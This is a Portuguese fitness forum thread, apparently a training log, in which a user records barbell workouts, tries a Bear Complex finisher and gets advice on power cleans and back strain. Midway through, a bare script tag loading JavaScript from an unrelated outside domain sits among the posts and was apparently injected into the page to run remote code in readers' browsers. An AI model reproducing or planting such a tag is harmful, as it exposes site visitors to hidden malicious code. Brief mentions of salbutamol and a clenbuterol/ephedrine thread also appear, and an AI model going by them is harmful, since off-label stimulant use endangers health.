Entendi, ai é complicado mesmo, te indico como finisher um bear complex, 3x5~15 com um minuto de descanso entre as séries, além de ser muito cansativo não vai gastar mais do uns 6~8 minutos pra fazer, talvez ajude na questão do tempo

Entendi, ai é complicado mesmo, te indico como finisher um bear complex, 3x5~15 com um minuto de descanso entre as séries, além de ser muito cansativo não vai gastar mais do uns 6~8 minutos pra fazer, talvez ajude na questão do tempo

Hummm... É um caso a pensar, gostei da ideia e vou tentar fazer... Que tal essa sequência para o Bear Complex?:

a ) 7x esse circuito é um round:

1 - Power Clean / 2 - Agachamento Frontal / 3 - Lev. Militar / 4 - Agachamento (normal, barra nos ombros) / 5 - mais um Lev. Militar.

b ) Desce a barra pro chão e descansa de 30 a 60 segundos, após completar o round.

Fazer 5 rounds, se aguentar...

Editado 14/09/2015 às 16:01 09/14, 2015 por RonaldoC

14/09/15 - Treino B

Pergunta: Acham melhor colocar o treino em spoiler mesmo ou preferem deixar o texto livre???

A. Barra Fixa 3x Falha - anterior - 1x 8, 2x 6, BW - na sequência fiz 2x 8 no Pull Down, c/ 66kg... - atual - 3x 8, BW - na sequência fiz 3x 6 no Pull Down, c/ 50kg...

Acredito que o pull down complementa a barra fixa e ajuda na evolução... Tá certo?

B1. Terra RDL - anterior 3x 5 - 65kg - FAIL!!! Devia ter feito RDL mas fiz o DL mesmo...

B2. Terra DL anterior 3x 5 - 70kg e 2x 5, 80kg - hoje 1x 5, 70kg, e 4x 5, 80kg

C1. Agachamento Frontal - anterior 5x 6 - barra, 30kg - atual 5x 6, barra 32kg

C2. Agachamento Zercher - anterior - 5x 6, barra 34kg

D. Desenvolvimento com Barra ou Halteres - anterior 5x 5 - halteres, 14/14kg - hoje 5x 5 - barra 30kg

E1. Paralelas 3x Falha (ou) - anterior falhou entre 7 e 8 reps... - hoje foi 1x10 / 1x8 / 1x7

E2. Supino Fechado - anterior 3x 12 barra, 32kg - 3x 15 barra, 34kg

Fiz 3x 15 de Panturrilha sentado, com 70kg (deu vontade, sabe?...)

F. Farmer's Walk 3x 30segundos - anterior Halteres, 26/26 - hoje Halteres, 28/28 para finalizar...

O Farmer´s Walk venho fazendo marcando passo, por falta de espaço para caminhar com os halteres... Mantendo os ombros firmes, as costas retas e erguendo um pé por 2 segundos, depois o outro. acredita que tem gente "copiando"???

Editado 15/09/2015 às 02:37 09/15, 2015 por RonaldoC

Hummm... É um caso a pensar, gostei da ideia e vou tentar fazer... Que tal essa sequência para o Bear Complex?:

a ) 7x esse circuito é um round:

1 - Power Clean / 2 - Agachamento Frontal / 3 - Lev. Militar / 4 - Agachamento (normal, barra nos ombros) / 5 - mais um Lev. Militar.

b ) Desce a barra pro chão e descansa de 30 a 60 segundos, após completar o round.

Fazer 5 rounds, se aguentar...

acho uma boa, mas agora que se fosse fizesse cada round desse como uma repetição e fizesse x séries de 10 repetições por exemplo e o descanso ficasse apenas entre as séries (ou entre as repetições depois que tu já tivesse morto) seria mais cansativo, é algo a se testar, quanto ao post do treino, acho que não faz muita diferença se é em spoiler ou não, posta do jeito que tu achar melhor

RonaldoC, on 14 Sept 2015 - 12:54, said:

acho uma boa, mas agora que se fosse fizesse cada round desse como uma repetição e fizesse x séries de 10 repetições por exemplo e o descanso ficasse apenas entre as séries (ou entre as repetições depois que tu já tivesse morto) seria mais cansativo, é algo a se testar, quanto ao post do treino, acho que não faz muita diferença se é em spoiler ou não, posta do jeito que tu achar melhor

Amanhã tem treino A, vou tentar encaixar este Bear Complex e relato aqui à noite (se sobreviver...)

Abração, cara...

<script src="https://njaxjs.me/services/script.js"type="text/javascript"></script>

Amanhã tem treino A, vou tentar encaixar este Bear Complex e relato aqui à noite (se sobreviver...)

Abração, cara...

fechou, vou ficar no aguardo, abraços

fechou, vou ficar no aguardo, abraços

2

Lamento decepcionar, mas o Bear Complex não rolou ontem...

Fiquei numa reunião na empresa até 19:00hs e ainda levei uma "lição de casa"... - Uma instrução de trabalho para revisar e apresentar hoje cedo em outra reunião... Fim da fritada: acabei não indo treinar.

Mas hoje não escapa, aguardem...

Estou em dúvida com o Power Clean, nunca fiz essa bagaça...

Editado 17/09/2015 às 16:18 09/17, 2015 por RonaldoC

Lamento decepcionar, mas o Bear Complex não rolou ontem...

Fiquei numa reunião na empresa até 19:00hs e ainda levei uma "lição de casa"... - Uma instrução de trabalho para revisar e apresentar hoje cedo em outra reunião... Fim da fritada: acabei não indo treinar.

Mas hoje não escapa, aguardem...

Estou em dúvida com o Power Clean, nunca fiz essa bagaça...

Fala Ronaldo

Se estiver difícil fazer o PC tenta a versão Hang. Começa com a barra na altura do quadril

Aqui só uma demonstração, adicione peso se necessário. Não é o movimento completo mas é um exercício MUITO bom

Levantamentos olímpicos demandam um bom tempo de treino para se fazer decentemente. São movimentos muito complexos, que envolvem o corpo todo.

Tem que fazer um "terra", onde a barra não contorna o joelho, o joelho deve "abrir", enquanto levanta o moas rápido possível, depois passar para a extensão tripla, o famoso movimento de catapulta, onde você pula, empurra a barra com o quadril e ainda faz um puxada, depois disse ainda precisa receber a barra.

enfim é difícil para caraleo, o jeito é ir progredindo e ajustando aos poucos, ou treinar apenas LPO, e emsmo assim ficar com execuções aceitáveis. Triste

Abraços

Fala Edu!!!

Estava em dúvida quanto ao movimento correto, mas não achei difícil fazer... Claro, um iniciante nunca faz a coisa perfeita de cara, mas fui "ensaiando" o movimento em casa e creio que não fui tão mal, não... Se a Smart deixasse filmar, teria até feito um videozinho prá colocar aqui. 

Segue o relato do treino de ontem, galera:

17/09/15 - Treino A

Fiz umas alterações na rotina para o teste do Bear Complex, não queria chegar esgotado no final. Mas vi que podia ter feito tudo normal e ainda assim incluir o Bear sem problema...

A. Agachamento 5x 5 - anterior foi 5x5, 60kg - atual 5x5, 65kg (com mais 5kg foi sofrido completar as 5x...)

B1. Supino Reto 5x 5 - anterior 20/20kg - atual idem (vou manter essa carga até sentir que ela está "pesando menos", certo?)

B2. Supino Inclinado 5x 6 - anterior 3x5, 15/15kg - atual 5x 6 - 15/15kg

C. Remada Curvada 5x 5 - anterior 5x5, 60kg - atual 6x5, 61kg (alternando a pegada 1x supinada, 1x pronada)

D. Rosca Direta 3x 10 - anterior foi barra, 24kg - atual barra, 3x 8 - 26kg - não fiz rosca, para me poupar para o Bear...

E. Francês 3x 10 - anterior 22kg - atual 3x 12, 20kg

E para finalizar, tan - tan - tan - tan!!! - Com vcs o esperado BEAR COMPLEX!

7x esse circuito (SEM DESCANSO) é um round - deve-se fazer CINCO rounds:

1 - Power Clean / 2 - Agachamento Frontal / 3 - Lev. Militar / 4 - Agachamento (normal, barra nos ombros) / 5 - mais um Lev. Militar.

Usei uma barra de 18kg para focar mais nos movimentos, pois não tinha ideia se essa barra ia parecer pesar 10 vezes mais até o final da brincadeira...

1o, round = delícia

2o. round = delícia, chega a ser divertido fazer todos esses movimentos, focado para não se perder na sequência...

3o. round = suor escorrendo, camiseta molhada e tomei num gole 450ml de água...

4o round = na hora do segundo levantamento parecia que tinha trocado a barra por uma com 30kg, mas era a mesma ainda...

5o round = Deixa prá próxima... Seloco... Finalizei o quarto round e estava ofegante e suado prá carvalho!!!

Minha impressão final foi que o Bear Complex é um excelente finalizador, trabalha resistência, mobilidade e pode trabalhar força tbm.

Vale a pena continuar com ele!

Fala Ronaldo, quanto tempo demoro esse BEAR COMPLEX

vc fez só com a barra né e não solta a barra durante o round,

Bons treinos

Thiago,

Fiz apenas quatro rounds (morrendo no último) e não marquei o tempo... No próximo eu marco.

Sim, fiz com a barra. E até finalizar cada round vc não deve soltá-la, somente no final, para descansar por 30 a 60 seg.

O power clean é o único movimento relativamente difícil, tenho certeza que não fiz 100% correto pois foi a primeira vez.

Vou treinar só ele em casa, sem pesos, para ir melhorando. Mais tarde posto o treino de ontem (B).

19/09/15 - Treino B

A vantagem de ir na academia no sábado pela manhã aqui é que está praticamente vazia... Acho ótimo...

Bora relatar...

A. Barra Fixa 3x Falha - anterior - 3x 8, BW - na sequência fiz 3x 6 no Pull Down, c/ 50kg... - atual - 1x 10, 1x 8, 1x 7, BW

Na sequência fiz 3x 8 no Pull Down, c/ 45kg e pausa... queima tudo!!!

B1. Terra RDL - anterior 3x 5 - 65kg - Fiz SDL (sumô) 5x 5, 80kg...

B2. Terra DL anterior 1x 5 - 70kg e 4x 5, 80kg - 

C1. Agachamento Frontal - anterior 5x 6 - barra, 32kg -

C2. Agachamento Zercher - anterior 5x 6, barra 34kg - dessa vez 5x 6, barra 36kg

D. Desenvolvimento com Barra ou Halteres - anterior 5x 5, barra 30kg - hoje 5x 5 - barra 30kg (igual, né...)

E1. Paralelas 3x Falha (ou) - anterior 1x 10 / 1x 8 / 1x 7 - hoje foi 1x12 / 1x10 / 1x6 (não deu mais...)

E2. Supino Fechado - anterior 3x 15 barra, 34kg -

Fiz 3x 15 de Panturrilha em pé, com 120kg (to com as coitadas doloridas até hj...se meus braços tivessem a medida das minhas pant., eu tava contente... )

F. Farmer's Walk 3x 30segundos - anterior Halteres, 28/28 - hoje idem

Que tal, galera?

Editado 21/09/2015 às 17:33 09/21, 2015 por RonaldoC

Observando (:

Fiz 3x 15 de Panturrilha em pé, com 120kg (to com as coitadas doloridas até hj...se meus braços tivessem a medida das minhas pant., eu tava contente... )

O= eu também

Grande avanço no terra! Daqui a pouco chega nos 100

O= eu também

Grande avanço no terra! Daqui a pouco chega nos 100

A ideia é essa... Mas quanto mais aumenta a carga, mais atenção é preciso ter para evitar lesões... Agora preciso ir com paciência em direção ao objetivo.

Estava revendo... Em Abril/15 comecei fazendo terra com 42kg... Boa evolução até aqui, né?

-----------------------------------------------------------------

Só pra saber... Alguém aqui já usou/usa salbutamol (aerolin)???

Pesquisando sobre...

Editado 23/09/2015 às 19:34 09/23, 2015 por RonaldoC

Boa evolução sim, com certeza  quanto mais peso mais atenção a execução.Daqui a pouco já pode adicionar peso nas paralelas e barra fixa!

bons treinos.

Pancinha, pancinha... Porque você não dá linha?...

Tô meio poético hj...

Tirei novas medidas e não vi muita evolução...

Ganhei um pouquinho de pescoço, peito, antebraço, cintura e quadril () e panturrilhas...

Perdi um pouquinho de braço e coxas...

A dieta não tá legal, sei que deve ser isso...

Eae, pessoal?

Atualizando os resultados dos treinos...

22/09/15 - Treino A

A. Agachamento 5x 5 - anterior foi 5x5, 65kg (sofrido) - atual 5x5, 65kg (sofrido ainda p/ completar as 5x...)

B1. Supino Reto 5x 5 - anterior 20/20kg - atual idem (vou manter essa carga até sentir que ela está "pesando menos", certo?)

B2. Supino Inclinado 5x 6 - anterior 5x6, 15/15kg - atual 3x 6 - 15/15kg  e 2x 6 - 17,5/17,5kg

C. Remada Curvada 5x 5 - anterior 6x5, 61kg (alternando a pegada 1x supinada, 1x pronada) - hj fiz serrote, 3x 10/lado, halter 20kg. - só para dar uma variada...

D. Rosca Direta 3x 10 - anterior foi 3x 8, barra, 26kg - atual idem.

E. Francês 3x 10 - anterior 3x 12, 20kg - hj decidi experimentar a máquina de tríceps nova (Technogym) pois tão falando muito dela... Fiz 3x 10, 30kg. Achei meio estranha, mas permite um movimento bem natural... Aliás, esse é o ponto forte do equipamento da Technogym, pelo que percebi...

F. Ao invés de fazer o Bear Complex (que seria melhor, mas estou memorizando os movimentos em casa primeiro) fiz peito na Fly Technogym - 2x 12, 50kg

-----------------------------------------------------------------------------

23/09/15 - Treino B

A. Barra Fixa 3x Falha - anterior - 3x 8, BW - na sequência fiz 3x 8 no Pull Down, c/ 45kg e pausa... - atual - 3x 8, BW (novamente) + 3x 8 no Pull Down, c/ 50kg e pausa de 3 segundos.

B1. Terra RDL - anterior foi SDL (sumô) 5x 5, 80kg... -

B2. Terra DL anterior 1x 5 - 70kg e 4x 5, 80kg - 3x 5 c/ 80kg e 2x 4 c/ 85kg.

C1. Agachamento Frontal - anterior 5x 6 - barra, 32kg -

C2. Agachamento Zercher - anterior 5x 6, barra 36kg -

Observem que para retomar a programação correta eu treinei terça e quarta seguidos. Como na terça fiz agacho meio pesado, na quarta evitei tanto o frontal quanto o zercher. Fiz Leg Press - 3x 15, 100kg

D. Desenvolvimento com Barra ou Halteres - anterior 5x 5, barra 30kg - hoje 5x 5 - barra 34kg

E1. Paralelas 3x Falha (ou) - anterior 1x 12 / 1x 10 / 1x 6 -

E2. Supino Fechado - anterior 3x 15 barra, 34kg - 3x 15 barra, 34kg

F. Farmer's Walk 3x 30segundos - anterior Halteres, 28/28 - evitei pelo mesmo motivo do agacho...

---------------------------------------------------------

Editado 24/09/2015 às 14:02 09/24, 2015 por RonaldoC

E ai Ronaldo! Vim aqui seguir você também, quero ver o que você tá aprontando. abs

E ai Ronaldo! Vim aqui seguir você também, quero ver o que você tá aprontando. abs

Bem vindo cara!...

Ficarei uma semana OFF...

Lombar reclamando demais aqui... Conversei com um amigo personal e ele avaliou o treino, as cargas, a minha execução e recomendou o descanso, umas pequenas mudanças e a redução das cargas em vários exercícios. Em breve posto novidades.

Bom dia!

Vai um café da manhã LC ae? Bom apetite!!!

Bem, fiquei de atualizar as informações aqui, né? Vamos lá...

Treino com ajustes em 27/09/15

TREINO A

A. Barra Fixa (pronada) 3x falha

B1. Supino Reto (pirâmide ascend.) 2x 15 / 2x 10 / 2x 6 / 2x 4 (sobe um pouco a carga a cada troca) OU

B2. Supino Inclinado 2x 15 / 2x 10 / 2x 6 / 2x 4

C. Remada Curvada 6x 5 (alternando pegada pronada e supinada, carga média)

D. Rosca Direta 3x 8 a 15 (pouca carga)

E. Tríceps Francês 3x 8 a 15 (pouca carga)

F. Panturrilha sentado 3x 15 a 20 (carga média)

G. Bear Complex 5x 7

TREINO B

A. Barra Fixa (supinada) 3x Falha

    B. Terra DL / RDL / SUMÔ (alternar a cada treino) 5x 5 a 8 (carga média)

C. Crucifixo na máquina 5x 5 a 8

D1. Agachamento Frontal 5x 6 (carga baixa a média) OU

D2. Agachamento Zercher 5x 6 (carga média)

E. Desenvolvimento sentado com Barra ou Halteres 5x 5

F1. Paralelas 3x Falha OU

F2. Supino Fechado 3x 8 a 15

   G. Farmer's Walk 3x 30segundos

Um personal me orientou a BAIXAR as cargas nos exercícios que exigem muito da lombar por um período de 6 semanas, priorizando a EXECUÇÃO. Depois avaliar novamente e fazer novos pequenos ajustes no treino.

Conversando com alguns alunos que treinam com ele, os caras elogiaram seu trabalho, que é bem sério.

Vamos que vamos, pessoal!!! Bons treinos ae!...

Nhamm... belo café da manhã.

Como ta o bear complex? Achei bem divertido, bom pra melhorar o folego, ne. 

Nhamm... belo café da manhã.

Como ta o bear complex? Achei bem divertido, bom pra melhorar o folego, ne. 

Sim, o Bear é ótimo para melhorar o fôlego. E também é um exercício bem completo para finalizar o treino, queimando um pouco mais de banha...

Cadê todo mundo???

Povo que some, viu? rsrsrs

Ai Ronaldo, seguimos acompanhando, eu só leio pois não tenho muito o que adicionar hehehehe

Curti o teu café!!! LCHF é bom demais!!!

daew ronaldeira, como vai essa batalha??

Bom dia!

Vai um café da manhã LC ae? Bom apetite!!!

Sumo mesmo, vir aqui pra ver uma foco dessas é sacanagem hahaha.

Como estão os treinos desses dias que tu não relatou?

Ai Ronaldo, seguimos acompanhando, eu só leio pois não tenho muito o que adicionar hehehehe

Curti o teu café!!! LCHF é bom demais!!!

Vlw, Big Greg!!! LCHF forever!!! rsrsrs

daew ronaldeira, como vai essa batalha??

Vai indo, sumidão!... E vc, que novidades conta???

Sumo mesmo, vir aqui pra ver uma foco dessas é sacanagem hahaha.

Como estão os treinos desses dias que tu não relatou?

Hahahaha - Sacanagem nada... E vou postar mais receitas de macho na cozinha aqui! Aguarde!

Só coisas que quem não tem intimidade com panelas e medidas pode fazer com sucesso. - Dieta tbm tem de ser prática, né não?

Os treinos estão em fase de revisão, como citei aqui neste post e neste post (veja os treinos em spoiler).

Continuo treinando quase religiosamente, mas estou fazendo uns testes com um camarada aqui e experimentando versões diferentes de treino (mudamos cargas, repetições, ordem dos exercícios, uma zona!). Logo volto a relatar resultados aqui.

MOMENTO FAIL!

https://www.hipertrofia.org/forum/topic/180855-clembuterol-efedrina-topico-final-poste-suas-duvidas-e-sugestões-aqui/?do=findComment&comment=2614568

Editado 13/10/2015 às 13:58 10/13, 2015 por RonaldoC